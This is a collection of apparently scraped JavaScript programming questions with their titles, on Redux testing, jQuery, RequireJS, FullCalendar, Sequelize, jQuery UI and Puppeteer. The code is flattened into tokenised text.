( ) ) .then ( ( ) = > { expect ( store.getActions ( ) ) .toEqual ( expectedActions ) ; } ) ; } ) ; } ) ;",Testing a redux action "JS : I have a JavaScript array : I need to find how many times the class is coming and its array key , so I use : Then I use : But that is also wrong . How do I solve this ? From this array I want to get the following : Class coming 4 times , at key 0 , 2 , 3 , and 7I want to make a separate array of class only , that is , Currently there are four classes in j_array . How can I get the Nth class valueThat is , 1st class value = '' class:1 '' , 2nd class value= '' class:5 '' , etc . var j_array = new Array ( ) ; j_arry= [ `` class:1 '' , '' division : a '' , '' class:5 '' , '' class:3 '' , '' division : b '' , '' division : c '' , '' division : d '' , '' class:10 '' ] ; found = $ .inArray ( 'class ' , j_array ) ; ` But it returns ` -1 ` ; var search = 'class ' ; $ .each ( [ j_array ] , function ( index , value ) { $ .each ( value , function ( key , cell ) { if ( search.indexOf ( cell ) ! == -1 ) console.log ( 'found in array '+index , cell ) ; } ) ; } ) ; new_array = [ `` class:1 '' , `` class:2 '' , `` class:3 '' , `` class:10 '' ] ;",How do I search a string in JavaScript array using jQuery ? "JS : I 'm using RequireJS , backbone boilerplate with layout manager , JamJS to help manage packages , and everything works fine in development , but when I try to create a production version with concatenated files it does n't work.It looks like the shim in my config might not be getting loaded . For example , the error I get in my console is Uncaught TypeError : Can not set property 'cookie ' of undefined , so jQuery is not getting loaded as a dependency for the jquery.cookie . Here 's my app config : Here 's how I load up my require.js file : Any ideas on what might be going on ? When I use bbb release , everything completes without an error to create that debug file . // Set the require.js configuration for your application.require.config ( { // Initialize the application with the main application file and the JamJS // generated configuration file . deps : [ `` ../vendor/jam/require.config '' , `` main '' ] , paths : { baseUrl : '/ ' , config : `` config '' , // JavaScript folders . api : `` libs/api '' , app : `` app '' , // Libraries . almond : `` ../vendor/jam/js/libs/almond '' , engagement : `` libs/engagement '' , environment : `` libs/environment '' , jquery : `` ../vendor/jam/jquery/jquery '' , jqueryui : `` ../vendor/js/libs/jquery-ui-1.9.1.custom.min '' , `` jquery-cookie '' : `` ../vendor/jam/jquery-cookie/jquery.cookie '' , chosen : `` ../vendor/js/libs/jquery.chosen.min '' , colorpicker : `` ../vendor/js/libs/jquery.colorpicker '' , bootstrap : `` ../vendor/js/libs/bootstrap '' , jqueryuiwidget : `` ../vendor/js/libs/jquery.ui.widget '' , jstemplates : `` ../vendor/js/libs/tmpl '' , jsloadimage : `` ../vendor/js/libs/load-image '' , jscanvastoblob : `` ../vendor/js/libs/canvas-to-blob '' , iframetransport : `` ../vendor/js/libs/jquery.iframe-transport '' , fileupload : `` ../vendor/js/libs/jquery.fileupload '' , fileuploadfp : `` ../vendor/js/libs/jquery.fileupload-fp '' , fileuploadui : `` ../vendor/js/libs/jquery.fileupload-ui '' , fileuploadlib : `` libs/fileupload '' , highchartsgraytheme : `` ../vendor/js/libs/gray '' , highchartsexporter : `` ../vendor/js/libs/exporting '' , adpin : `` libs/adpin '' , val : `` ../vendor/js/libs/jquery.validate.min '' , valmethods : `` ../vendor/js/libs/additional-methods.min '' , advertiser : `` libs/advertiser '' , messages : `` libs/messages '' , user : `` libs/user '' , zeroclipboard : `` ../vendor/js/libs/zero-clipboard '' , jqgrid : `` ../vendor/js/libs/jquery.jqGrid.min '' , jqgridsource : `` ../vendor/js/libs/grid.locale-en '' , reporting : `` libs/reporting '' , adlift : `` libs/adlift '' , utilities : `` libs/utilities '' , qrcode : `` ../vendor/js/libs/jquery.qrcode.min '' , base64 : `` ../vendor/js/libs/base64 '' , kinetic : `` ../vendor/js/libs/kinetic.min '' , canvaslib : `` libs/canvas '' , socialstream : `` libs/socialstream '' , analytics : `` libs/analytics '' , classie : `` ../vendor/js/libs/classie '' , classie_modernizr : `` ../vendor/js/libs/modernizr.custom '' , qtip2 : `` ../vendor/js/libs/jquery.qtip '' , sponsored : 'libs/sponsoredcontent ' , publisher : 'libs/publisher ' , xml : '../vendor/jam/codemirror3/mode/xml/xml ' } , shim : { `` jquery-cookie '' : { deps : [ `` jquery '' ] } , `` api '' : { deps : [ `` environment '' ] } , `` xml '' : { deps : [ `` codemirror3 '' ] } , `` classie '' : { deps : [ `` classie_modernizr '' ] } , `` jqueryui '' : { deps : [ `` jquery '' ] } , `` colorpicker '' : { deps : [ `` jquery '' ] } , `` jqueryuiwidget '' : { deps : [ `` jquery '' ] } , `` jstemplates '' : { deps : [ `` jquery '' ] } , `` jsloadimage '' : { deps : [ `` jquery '' ] } , `` jscanvastoblob '' : { deps : [ `` jquery '' ] } , `` fileupload '' : { deps : [ `` jquery '' , `` jqueryuiwidget '' ] } , `` fileuploadfp '' : { deps : [ `` jquery '' , `` jscanvastoblob '' , `` fileupload '' ] } , `` fileuploadui '' : { deps : [ `` jquery '' , `` jstemplates '' , `` jsloadimage '' , `` fileuploadfp '' , `` fileuploadlib '' ] } , `` qrcode '' : { deps : [ `` jquery '' ] } , `` base64 '' : { deps : [ `` jquery '' ] } , `` highchartsgraytheme '' : { deps : [ `` highcharts '' ] } , `` highchartsexporter '' : { deps : [ `` highcharts '' ] } , `` utilities '' : { deps : [ `` lodash '' , `` jquery '' , `` val '' ] } , `` val '' : { deps : [ `` jquery '' ] } , `` valmethods '' : { deps : [ `` jquery '' , `` val '' ] } , `` zeroclipboard '' : { deps : [ `` jquery '' ] } , `` jqgrid '' : { deps : [ `` jquery '' , `` jqgridsource '' ] } , `` jqgridsource '' : { deps : [ `` jquery '' ] } , `` bootstrap '' : { deps : [ `` jquery '' ] } } } ) ; < script data-main= '' /app/config '' src= '' /dist/debug/require.js '' > < /script >","Trouble with RequireJS optimizer config , bbb release" "JS : I am facing an issue while implementing fullcalendar . I used fullcalendar plugin for allowing the user to add task and events and with the respective option , all day , recurring every week , every day , every month and every year.For the above-mentioned functionality , I referred two SO postRecurring Events in Full Calendar ( For repeating weekly ) Repeat full calendar events daily , monthly and yearly.While creating an all-day event with recurring every week I am facing an issue which was addressed in Issue # 4173 for which I have created a demo hereI also checked v4 and I found it will work for me a demo in v4 here , but I have some other concern here , I am working on a live website and there I ca n't revamp and opt to implement v4 it is a complex system need to look into all aspect before opting to revamp so is there any hack to implement the same in v3 is there anything which I can manually edit in the locally stored file or patch it for fixing this ? Thank you $ ( function ( ) { let defaultEvents = [ { id : 230 , title : 'all day with every week ( range ) ' , start : '00:00:00 ' , end : '23:59:59 ' , dow : [ 2 ] , allDay : true , ranges : [ { start : `` 2018-12-10 '' , end : `` 2018-12-26 '' } ] } , ] ; $ ( ' # calendar ' ) .fullCalendar ( { defaultView : 'month ' , header : { left : 'prev , next today ' , center : 'title ' , right : 'agendaWeek , agendaDay ' } , eventSources : [ defaultEvents ] , eventRender : function ( event , element , view ) { if ( event.ranges ) { console.log ( event.ranges ) return ( event.ranges.filter ( function ( range ) { return ( event.start.isBefore ( range.end ) & & event.end.isAfter ( range.start ) ) ; } ) .length ) > 0 ; } } } ) ; } ) ; html , body { margin : 0 ; padding : 0 ; font-family : `` Lucida Grande '' , Helvetica , Arial , Verdana , sans-serif ; font-size : 14px ; } # calendar { max-width : 900px ; margin : 40px auto ; } < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/fullcalendar/3.10.0/fullcalendar.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < script src= '' https : //code.jquery.com/ui/1.12.1/jquery-ui.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/moment.js/2.24.0/moment.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/fullcalendar/3.10.0/fullcalendar.min.js '' > < /script > < div id='calendar ' > < /div >",How to implement recurring event with all day set to true ? "JS : Consider this code : Now the following statement does n't execute : As I understood , every function has a prototype object . Then why ca n't we execute the above statement ? And bar is indeed a function as we can call it : function foo ( something ) { this.a = something ; } var obj1 = { } ; var bar = foo.bind ( obj1 ) ; bar.prototype.newprop = `` new '' ; // Can not execute this bar ( 2 ) ; console.log ( obj1.a ) ; // 2",Why ca n't I set the 'prototype ' of a function created using 'bind ' ? "JS : I have a .NET app that allows a user to choose their own language & culture ( date/number formatting ) . Their culture setting is stored in Thread.CurrentThread.CurrentCulture ( also Thread.CurrentThread.CurrentUICulture , but that 's a separate issue ) .When I print out a var via Razor , it shows in localized format : However , I also need to pass some .NET vars to Javascript : The problem is that Javascript in this case does not understand the localized versions of these numbers , so it fails since the above statement becomes : It may be because the user 's browser 's culture setting is different from the user 's webapp 's culture setting . At any rate , it 's a situation we need to be able to handle.So what 's the easiest way to handle this ? I can create my own Javascript ConvertToStandardNumberFormat ( ) that takes a string value from .NET and returns a `` standard '' number format , but that seems like a bit of a hack . Is there a way to force .NET/razor to render a non-localized format number ? I 'm just trying to figure out what the best practices are for this type of situation.Thanks ! < span > @ bignum < /span > ( renders as `` 123.456 '' or `` 123,456 '' ) var js_bignum = @ bignum ; var js_bignum = 123,456 ; var js_bignum = @ price.ToUnlocalizedFormat ( ) ; ( Is there something like this ? )",What is the best way to parse localized numbers from .NET/Razor in javascript ? "JS : First time using three.js and I 'm doing a very simple particle animation in which I 'm mapping 4 different textures . So far everything is working as desired except that I ca n't figure out how to rotate particles so that they 're rendered with a random orientation ( upside down , sideways , etc . ) Any help would be appreciated ! You can see my progress so far here : http : //development.shapes.divshot.io/particles.htmlAnd here is the relevant code : Using three.js r71 sprite1 = THREE.ImageUtils.loadTexture ( `` sprite1.png '' ) ; sprite2 = THREE.ImageUtils.loadTexture ( `` sprite2.png '' ) ; sprite3 = THREE.ImageUtils.loadTexture ( `` sprite3.png '' ) ; sprite4 = THREE.ImageUtils.loadTexture ( `` sprite4.png '' ) ; parameters = [ sprite1 , sprite2 , sprite3 , sprite4 ] ; for ( i = 0 ; i < parameters.length ; i ++ ) { sprite = parameters [ i ] ; materials [ i ] = new THREE.PointCloudMaterial ( { size : 45 , map : sprite , depthTest : false , transparent : true } ) ; particles = new THREE.PointCloud ( geometry , materials [ i ] ) ; particles.rotation.x = Math.random ( ) * 60 ; particles.rotation.y = Math.random ( ) * 60 ; particles.rotation.z = Math.random ( ) * 60 ; scene.add ( particles ) ; }",Apply 2D orientation to particles - three.js "JS : The problemUsing $ ( window ) .bind ( `` beforeunload '' , ... [ snip ] to ask if a user wishes to leave the page yields some strange results in some browsers . The dialogue pops up and asks if you wish to stay on the page or leave the page . If you click the stay on the page option , Google Chrome ( latest - 13.0.782.215 m ) and WinIE7 pops the last history page in the `` Back '' button.To illustrate this point , current session history consists of visiting the following pages : Page 3Page 2Page 1You decide to leave Page 3 and the beforeunload event fires . You choose to stay on the current page.You click the back button again and this time decide to leave the page . You should find yourself at Page 2 , but instead you are at Page 1 . You can navigate again forward to Page 2 though.The questionHow can I prevent the browser from removing these pages from the back button when we choose the `` stay on current page '' option ? Is it possible ? Example of the problemUsing Google Chrome , in a new window , head to http : //stackoverflow.com and browse a few questions without going back . Then hit the Ask Question button . Begin typing in the dialogue box . Press Back in your browser . Select stay on page . Press back in browser again and this time select the leave page option . You have now gone back two pages in history . You can essentially go back multiple pages if you click stay on page more than once.Why does this matter ? ! I do n't want to confuse my users . They are not the computer-savvy type.My code ( not that it is relevant ) $ ( window ) .bind ( `` beforeunload '' , function ( ) { if ( in_edit > 0 ) { return `` You are currently editing this job.\n\nAre you sure you wish to exit the page ? `` ; } } ) ;",beforeunload oddities "JS : I 'm building a progress bar control , and I 'm working on the case where it does n't actually show progress , but just spinning indicator of `` something is happening '' . The design I have for it is basically alternating diagonal stripes , essentially a barber pole kinda like this , but `` spinning '' : With the hopes of offloading as much as I can to the rendering engine , I want to use CSS transitions for this . Supporting old browsers is not a concern for me.So , my first idea was to basically do this : ... and then , when it gets rendered to the screen , use Javascript to essentially do this : Are there any performance issues about : Transitioning for that longHaving background-position : -1000000px 0 ? Alternatively , do you have a better solution ? .barber-pole { background-image : url ( repeating-slice.png ) ; /* set a very long ( one hour ! ) transition on the background-position */ transition : background-position 3600s linear 0s ; } myBarberPole.style.backgroundPosition = '-1000000px 0 ' ;",Is there a performance issue with using very large background-position offsets ? "JS : I 'm trying to wrap my head around async/await , and I have the following code : My problem , of course , is in the `` Block until available '' parts of the code . I was expecting to be able to `` halt '' the execution until something happens ( for example , dequeue halts until an enqueue exists , and vice-versa given the available space ) . I have the feeling I might need to use coroutines for this , but I really wanted to make sure I am just not missing any async/await magic here . class AsyncQueue < T > { queue = Array < T > ( ) maxSize = 1 async enqueue ( x : T ) { if ( this.queue.length > this.maxSize ) { // Block until available } this.queue.unshift ( x ) } async dequeue ( ) { if ( this.queue.length == 0 ) { // Block until available } return this.queue.pop ( ) ! } } async function produce < T > ( q : AsyncQueue , x : T ) { await q.enqueue ( x ) } async function consume < T > ( q : AsyncQueue ) : T { return await q.dequeue ( ) } // Expecting 3 4 in the console ( async ( ) = > { const q = new AsyncQueue < number > ( ) consume ( q ) .then ( console.log ) consume ( q ) .then ( console.log ) produce ( q , 3 ) produce ( q , 4 ) consume ( q ) .then ( console.log ) consume ( q ) .then ( console.log ) } ) ( )",Asynchronous Bounded Queue in JS/TS using async/await "JS : I have two ajaxcalls and I am calling them async : The problem is I am getting the same results from both calls . If I change async to sync , I am getting two different results which is the expected one . Can any one point what is messing up the ajax async call ? I do not want to use jquery . javascriptanswer would be appreciated.and xmlhttpPostInstagram2 ( 'firsturl ' ) ; xmlhttpPostInstagram3 ( 'secondurl ' ) ; function xmlhttpPostInstagram2 ( strURL ) { var originalValue = `` '' var xmlHttpReq = false ; var self = this ; // Mozilla/Safari if ( window.XMLHttpRequest ) { self.xmlHttpReq = new XMLHttpRequest ( ) ; } // IE else if ( window.ActiveXObject ) { self.xmlHttpReq = new ActiveXObject ( `` Microsoft.XMLHTTP '' ) ; } self.xmlHttpReq.open ( 'POST ' , strURL , true ) ; self.xmlHttpReq.setRequestHeader ( 'Content-Type ' , 'application/x-www-form-urlencoded ' ) ; self.xmlHttpReq.onreadystatechange = function ( ) { if ( self.xmlHttpReq.readyState == 4 ) { var temp2 = document.getElementById ( 'sidebartag ' ) ; temp2.innerHTML = self.xmlHttpReq.responseText ; // child is the fetched string from ajax call in your case } } self.xmlHttpReq.send ( ) ; } function xmlhttpPostInstagram3 ( strURL ) { var originalValue = `` '' var xmlHttpReq = false ; var self = this ; // Mozilla/Safari if ( window.XMLHttpRequest ) { self.xmlHttpReq = new XMLHttpRequest ( ) ; } // IE else if ( window.ActiveXObject ) { self.xmlHttpReq = new ActiveXObject ( `` Microsoft.XMLHTTP '' ) ; } self.xmlHttpReq.open ( 'POST ' , strURL , true ) ; self.xmlHttpReq.setRequestHeader ( 'Content-Type ' , 'application/x-www-form-urlencoded ' ) ; self.xmlHttpReq.onreadystatechange = function ( ) { if ( self.xmlHttpReq.readyState == 4 ) { var temp2 = document.getElementById ( 'sidebartag1 ' ) ; temp2.innerHTML = self.xmlHttpReq.responseText ; // child is the fetched string from ajax call in your case } } self.xmlHttpReq.send ( ) ; }",Two async AJAX calls returns same result "JS : Did n't find full answer ..What happens when promise is yielded ? Is such constructionequivalent to ? UPDATEHow to mix different styles of async programming , for example for such framework as koa ? Koa middlewares are working with generators , but there are lots of good packages which are promise-based ( sequelize for ex . ) var p = new Promise ( ) p.resolve ( value ) function * ( ) { yield p } function * ( ) { yield value }",What happens when promise is yielded in javascript ? "JS : In a JavaScript class , an XMLHttpRequest connect to the server . The server is sending data , slowly . This work fine in Chromium , but Firefox close the connection after random time ( between ~4s and ~70s ) .Why Firefox close the connection ? and How to avoid that ? Simplified JS code : for the PHP part , something like : If the server send something every few seconds ( < 5s ) the connection stay alive `` forever '' . But if no data is sent , Firefox close the connection.The connection close with : - readyState = 4 - status = 0The server seem to be correct , as in Chromium it work correctly.Full test code : test.htmltest.phpAdditional note : Firefox 43.0.03 , Chromium 47.0.2526EDITED : Setting a callback for timeout it do not trigger . I conclude it is not a timeout . var options = { } ; options [ 'header ' ] = { 'Cache-Control ' : 'no-cache , max-age=0 ' , 'Content-type ' : 'application/octet-stream ' , 'Content-Disposition ' : 'inline ' } ; // Get request information this.http = new XMLHttpRequest ( ) ; this.http.onreadystatechange = _streamingResponse.bind ( this ) ; this.http.open ( 'post ' , url , true ) ; for ( var i in options [ 'header ' ] ) { this.http.setRequestHeader ( i , options [ 'header ' ] [ i ] ) ; } this.http.send ( `` ) ; sleep ( 200 ) ; //wait long time , so firefox close the socket . < html > < header > < /header > < body > < /body > < script type= '' application/javascript '' > function log ( msg ) { document.body.appendChild ( document.createElement ( 'div ' ) .appendChild ( document.createTextNode ( msg ) ) ) ; document.body.appendChild ( document.createElement ( 'br ' ) ) ; } function request ( url ) { function _streamingResponse ( ) { if ( 4==this.http.readyState ) { log ( 'Done : ' + this.http.status ) ; } else if ( 3==this.http.readyState ) { var text = this.http.response.substr ( this.lastRequestPos ) ; this.lastRequestPos = this.http.response.length ; log ( 'Update : ' + text ) ; } } var options = { } ; options [ 'header ' ] = { 'Cache-Control ' : 'no-cache , max-age=0 ' , 'Content-type ' : 'application/octet-stream ' , 'Content-Disposition ' : 'inline ' } ; this.lastRequestPos=0 ; // Get request information this.http = new XMLHttpRequest ( ) ; this.http.onreadystatechange = _streamingResponse.bind ( this ) ; this.http.open ( 'post ' , url , true ) ; for ( var i in options [ 'header ' ] ) { this.http.setRequestHeader ( i , options [ 'header ' ] [ i ] ) ; } this.http.send ( `` ) ; log ( 'Request sent ! ' ) ; } req = new request ( './test.php ' ) ; < /script > < /html > < ? php $ timer = 60 ; ignore_user_abort ( true ) ; set_time_limit ( 0 ) ; // Turn off output buffering and compressionini_set ( 'output_buffering ' , 'off ' ) ; ini_set ( 'zlib.output_compression ' , false ) ; ini_set ( 'implicit_flush ' , true ) ; ob_implicit_flush ( true ) ; while ( ob_get_level ( ) > 0 ) { $ level = ob_get_level ( ) ; ob_end_clean ( ) ; if ( ob_get_level ( ) == $ level ) break ; } if ( function_exists ( 'apache_setenv ' ) ) { apache_setenv ( 'no-gzip ' , ' 1 ' ) ; apache_setenv ( 'dont-vary ' , ' 1 ' ) ; } // Set header for streamingheader ( 'Content-type : application/octet-stream ' ) ; flush ( ) ; // Send informationsleep ( $ timer ) ; echo ' < yes > < /yes > ' ; flush ( ) ; ? > this.http.timeout = 2000 ; this.http.ontimeout = _streamingTimeout.bind ( this ) ;",Firefox randomly close XMLHttpRequest connection if inactive . Why ? "JS : My application got many Users who can like many Posts ( N to N ) . That 's why I assigned the following `` belongsToMany '' Relations for my Models ( Sequelize Doc ) : Inside my Post Controller I got the following use case for the `` likePost '' function : Check if the Post exists . ( seems to work ) If so , check if the User already liked this Post.If not , assign the N to N relation between User and the Post . ( seems to work ) Now I got the Problem , that I am not able to check if a User already liked a Post . `` req.user.hasPost ( postToLike ) .isFulfilled ( ) '' always returns false , even if indeed I can see the correct relation in my `` PostLikes '' DB Table . So how can I correctly : Check if a User already liked a Post.Assign this relation.And remove the relation with Sequelize ? BTW this is how my PostLikes Table looks like : // Post Modelmodels.Post.belongsToMany ( models.User , { through : models.PostLikes } ) ; // User Modelmodels.User.belongsToMany ( models.Post , { through : models.PostLikes } ) ; // User likes Postexports.likePost = async ( req , res ) = > { const postToLike = await Post.findById ( req.body.postId ) ; // Check if the Post exists if ( ! postToLike ) { return res.status ( 404 ) .json ( { error : { message : 'Post not found . ' } } ) ; } // Did user already like the post ? // HERE IS THE NOT WORKING PART : if ( await req.user.hasPost ( postToLike ) .isFulfilled ( ) ) { return res.status ( 422 ) .json ( { error : { message : 'Already liked post . ' } } ) ; } // add Like await req.user.addPost ( postToLike ) ; return res.send ( postToLike ) ; } ; + -- -- + -- -- -- -- + -- -- -- -- +| id | userId | postId |+ -- -- + -- -- -- -- + -- -- -- -- +| 1 | 2 | 3 |+ -- -- + -- -- -- -- + -- -- -- -- +",Sequelize : Check and add BelongsToMany ( N to N ) relation "JS : Are variables defined inside an inner function that have the same name as a variable in an outer function isolated from the outer variable ? Naturally if I did n't declare myTest inside the inner function it would create a closure and modify the original . I just want to make sure that variables declared within an inner function are always isolated to that function even if their name may conflict with an outer scope . function ( ) { var myTest = `` hi there '' ; ( function ( myTest ) { myTest = `` goodbye ! `` ; } ) ( ) ; console.log ( myTest ) ; // myTest should still be `` hi there '' here , correct ? }",JavaScript closures and name clobbering "JS : I 've recently come across a code sample I had to use , and I was able to use it , but I did n't quite understand exactly what was going on.Here 's part of the code : I know that this function is deciding which element should be sorted first out of a and b , and I know that inverse is deciding the sort order , but I do n't know what $ .text ( [ a ] ) is doing . Is it parsing a as text kind of like parseInt ( a ) and Date.parse ( a ) ? Google could not help me . I 've also looked into the jQuery site and all I 've found is $ ( selector ) .text ( ) , $ ( selector ) .text ( newText ) function.Here 's the Fiddle I 'm basing my code from http : //jsfiddle.net/gFzCk/ .sortElements ( function ( a , b ) { return $ .text ( [ a ] ) > $ .text ( [ b ] ) ? inverse ? -1 : 1 : inverse ? 1 : -1 ; }",$ .text ( [ `` someText '' ] ) - What does it mean ? "JS : In the book Javascript the good parts , on the opening page of Ch3 on objects , it states : An object is a container of properties , where a property has a name and a value . A property name can be any string , including the empty string . A property value can be any Javascript value except for undefined.Note : undefined is highlighted in the book to denote that is is a literal.In practice , however , I am able to do it.What is wrong with my understanding ? var a = { `` name '' : undefined } ;",What does crockford mean when he says that undefined can not be a property value ? "JS : I 'm trying to get my head around some not quite so trivial promise/asynchronous use-cases . In an example I 'm wrestling with at the moment , I have an array of books returned from a knex query ( thenable array ) I wish to insert into a database : Each book item looks like : However , before I insert each book , I need to retrieve the author 's ID from a separate table since this data is normalised . The author may or may not exist , so I need to : Check if the author is present in the DBIf it is , use this IDOtherwise , insert the author and use the new IDHowever , the above operations are also all asynchronous.I can just use a promise within the original map ( fetch and/or insert ID ) as a prerequisite of the insert operation . But the problem here is that , because everything 's ran asynchronously , the code may well insert duplicate authors because the initial check-if-author-exists is decoupled from the insert-a-new-author block.I can think of a few ways to achieve the above but they all involve splitting up the promise chain and generally seem a bit messy . This seems like the kind of problem that must arise quite commonly . I 'm sure I 'm missing something fundamental here ! Any tips ? books.map ( function ( book ) { // Insert into DB } ) ; var book = { title : 'Book title ' , author : 'Author name ' } ;",Thinking in JavaScript promises ( Bluebird in this case ) "JS : I 've parsed the following RSS ( http : //timesofindia.indiatimes.com/rss.cms ) in this way-My code-I 'm getting the content of RSS Feed like this -Now i want to parse Specific Sub- Category of RSS Feeds like SPort , Technology etc . How could i do , If i m passing the specific url of the sub category , which is **http : //timesofindia.feedsportal.com/c/33039/f/533921/index.rss , http : //www.thehindu.com/sport/ ? service=rss , I m getting blank window.Please suggest me how could i parse specific Sub Category of RSS Feeds ? < ! DOCTYPE html > < html > < head > < meta charset= '' UTF-8 '' > < title > News Parser < /title > < script src= '' http : //code.jquery.com/jquery-1.11.0.min.js '' > < /script > < link rel= '' stylesheet '' href= '' css/jquery.mobile-1.4.2.min.css '' / > < script src= '' js/jquery-1.10.2.min.js '' > < /script > < script src= '' js/jquery-1.9.1.min.js '' > < /script > < script src= '' js/jquery.mobile-1.4.2.min.js '' > < /script > < script type= '' text/javascript '' > var url1 = `` https : //www.readability.com/api/content/v1/parser ? url= '' ; var testurl = `` http : //timesofindia.indiatimes.com/rss.cms '' ; var urltoken = `` & token=18ba7d424a0d65facdaea8defa356bc3e430f8ce '' ; var finalurl = url1 + testurl + urltoken ; console.debug ( finalurl ) $ ( function ( ) { $ .ajax ( { url : finalurl , dataType : `` json '' , contentType : '' application/json '' , success : function ( data ) { console.log ( data ) ; console.log ( data.content ) ; //console.error ( JSON.parse ( data.content ) ) ; $ ( `` body '' ) .empty ( ) .append ( data.content ) ; } , error : function ( d ) { console.log ( d ) ; } } ) ; } ) ; < /script > < style type= '' text/css '' > p { color : green ; } < /style > < /head > < body > < /body > < /html >",Readability API - Parsing Specific Sub category of RSS Feed using JQM "JS : I 'm using Mozilla Persona on a project . I would like to update loggedInUser after onlogin . But loggedInUser is an attribute of an object passed to navigator.id.watch ( ) .navigator.id.watch ( ) was called once ( in a AngularJS service ) .Should I call it again , passing the full object ? It does n't seem right . Am I wrong ? =PHere is my service : app.factory ( 'persona ' , function ( $ rootScope , $ http ) { navigator.id.watch ( { loggedInUser : null , onlogin : function onlogin ( assertion ) { console.log ( this ) ; $ http.post ( '/signIn ' , { assertion : assertion } ) .then ( function ( data , status , headers , config ) { $ rootScope. $ broadcast ( 'signIn ' , data.data ) ; } , function ( data , status , headers , config ) { $ rootScope. $ broadcast ( 'signInError ' , data.data ) ; } ) ; } , onlogout : function onlogout ( param ) { $ http.get ( '/signOut ' ) .then ( function ( data , status , headers , config ) { $ rootScope. $ broadcast ( 'signOut ' , data.data ) ; } , function ( data , status , headers , config ) { $ rootScope. $ broadcast ( 'signOutError ' , data.data ) ; } ) ; } } ) ; return { signIn : function signIn ( ) { navigator.id.request ( ) ; } , signOut : function signOut ( ) { navigator.id.logout ( ) ; } } ; } ) ;",How do I update loggedInUser after onlogin in Mozilla Persona "JS : I was implementing dynamic components for one of my project . The concept of dynamic components is that they come into the memory once they are needed and they have no reference in any template.According to the official docs we declare such components in entryComponents to prevent them from getting discarded in the tree shaking process as they have no template reference.Following is the app.module.ts where I have declared my two dynamic components SlideOneComponent and SlideTwoComponent in the entryComponents array : With above app.module.ts I am getting following error : The above error fades away as soon as I add my both dynamic components to declarations array . The aforementioned official docs also says that we do not need to declare components that are reachable from entryComponents or bootstrap component . I visited this answer as well but that does not seem to be satisfactory enough as it is in reference to Ionic.Please help me to know where I am missing on this . Thanks in advance ! : ) @ NgModule ( { declarations : [ AppComponent , ButtonComponent , AdDirective ] , imports : [ BrowserModule ] , providers : [ ] , entryComponents : [ SlideOneComponent , SlideTwoComponent , ] , bootstrap : [ AppComponent ] } ) export class AppModule { }",Why Angular requires us to declare dynamic components in declarations array and entryComponents array ? "JS : This is my first attempt to create anything with vue.Here 's a quick JSFiddle demoI 'm trying to create a form that display the values without input , and then clicked , the input will display . I 've managed to have a mockup `` working '' , but I 'm not very sure if this is the correct approach or not . I 'm not very sure about : On the other hand , is there a recommended input validation library or something ? I would really appreciate any guidelines here : wink : Thanks ! Vue.nextTick ( function ( ) { document.getElementById ( field.id ) .focus ( ) ; } ) ;",Trying to create a edit in place style form in vue.js "JS : I 'm having an ( intermittent ) issue with jQuery UI 's buttonset function . Sometimes when I call it , it only applies the classes it adds to the container div and the first child , and other times it works exactly as expected . ( Sorry , I ca n't make a fiddle for this , I ca n't get it to happen outside of my application . ) Same issue with both jQuery UI 1.10.0 and 1.10.4.i.e . I start with this : and get this after calling buttonset ( note the radio button does get a single , incorrect class added ) : instead of this : Update : I can reproduce this consistently in my application . The application uses AngularJS , and I have 2 views that make use of the button set , call them `` A '' and `` B '' . It always happens if I go to `` A '' , refresh the page , then navigate to `` B '' . It never happens in the reverse order , or if I start from any other view in the application . Previously , it would not happen if I recreated it then navigated back to `` A '' , but now that I refactored it into a directive , if I refresh at `` A '' , I see the correct button set , go to `` B '' , I see the messed up version , then navigate to `` A '' and I see the messed up one there too , and it also effects a second button set on `` A '' that is not part of the directive.I tried recreating a basic example in JS Fiddle , with two views utilizing buttonset , but it was n't enough to recreate the bug . < div class= '' my-buttonset '' > < input type= '' radio '' name= '' option '' id= '' option1 '' > < label for= '' option1 '' > Option 1 < /label > < input type= '' radio '' name= '' option '' id= '' option2 '' > < label for= '' option2 '' > Option 2 < /label > < ! -- More elements -- > < /div > < div class= '' my-buttonset ui-buttonset '' > < input class= '' ui-corner-left '' type= '' radio '' name= '' option '' id= '' option1 '' > < label for= '' option1 '' > Option 1 < /label > < input type= '' radio '' name= '' option '' id= '' option2 '' > < label for= '' option2 '' > Option 2 < /label > < ! -- Other elements unchanged -- > < /div > < div class= '' container-fluid-full radio-row mode-radio-row ui-buttonset '' > < input class= '' ui-helper-hidden-accessible '' type= '' radio '' name= '' option '' id= '' option1 '' > < label class= '' ui-button ui-widget ui-state-default ui-button-text-only ui-corner-left ui-state-hover '' for= '' option1 '' role= '' button '' aria-disabled= '' false '' aria-pressed= '' false '' > < span class= '' ui-button-text '' > Option 1 < /span > < /label > < input class= '' ui-helper-hidden-accessible '' type= '' radio '' name= '' option '' id= '' option2 '' > < label class= '' ui-button ui-widget ui-state-default ui-button-text-only ui-corner-left ui-state-hover '' for= '' option2 '' role= '' button '' aria-disabled= '' false '' aria-pressed= '' false '' > < span class= '' ui-button-text '' > Option 2 < /span > < /label > < ! -- Other elements correct -- > < /div >",jQuery UI Buttonset Not Adding Classes To Child Elements "JS : My Node.js puppeteer script fills out a form successfully , but the page only accepts a `` click '' event on an element some of the time before returning the modified page content . Here 's the script : } The `` pendingXHR '' module is an import , which I pull in up top in my code from this library : The script works on my local computer , and works some of the time when I upload the script to Digital Ocean . According to the page that I am crawling , these clicks initiate XHR requests , which I am attempting to wait for . Here 's proof : So my question is : Why would these clicks not register , even though I am awaiting them and awaiting the XHR requests , before the html is pulled from the page and then returned ? And why the inconsistency with this , where sometimes the clicks are registered and sometimes they are not ? Thanks for your help . const fetchContracts = async ( url ) = > { const browser = await pupeteer.launch ( { headless : true , args : [ ' -- no-sandbox ' , ' -- disable-setuid-sandbox ' ] } ) ; const page = await browser.newPage ( ) ; const pendingXHR = new PendingXHR ( page ) ; await page.goto ( url , { waitUntil : 'networkidle2 ' } ) ; await Promise.all ( [ page.click ( `` # agree_statement '' ) , page.waitForNavigation ( ) ] ) ; await page.click ( `` .form-check-input '' ) ; await Promise.all ( [ page.click ( `` .btn-primary '' ) , page.waitForNavigation ( ) ] ) ; /// MY PROBLEM OCCURS HERE /// Sometimes these clicks do not register ... . await page.click ( ' # filedReports th : nth-child ( 5 ) ' ) await pendingXHR.waitForAllXhrFinished ( ) ; await page.click ( ' # filedReports th : nth-child ( 5 ) ' ) 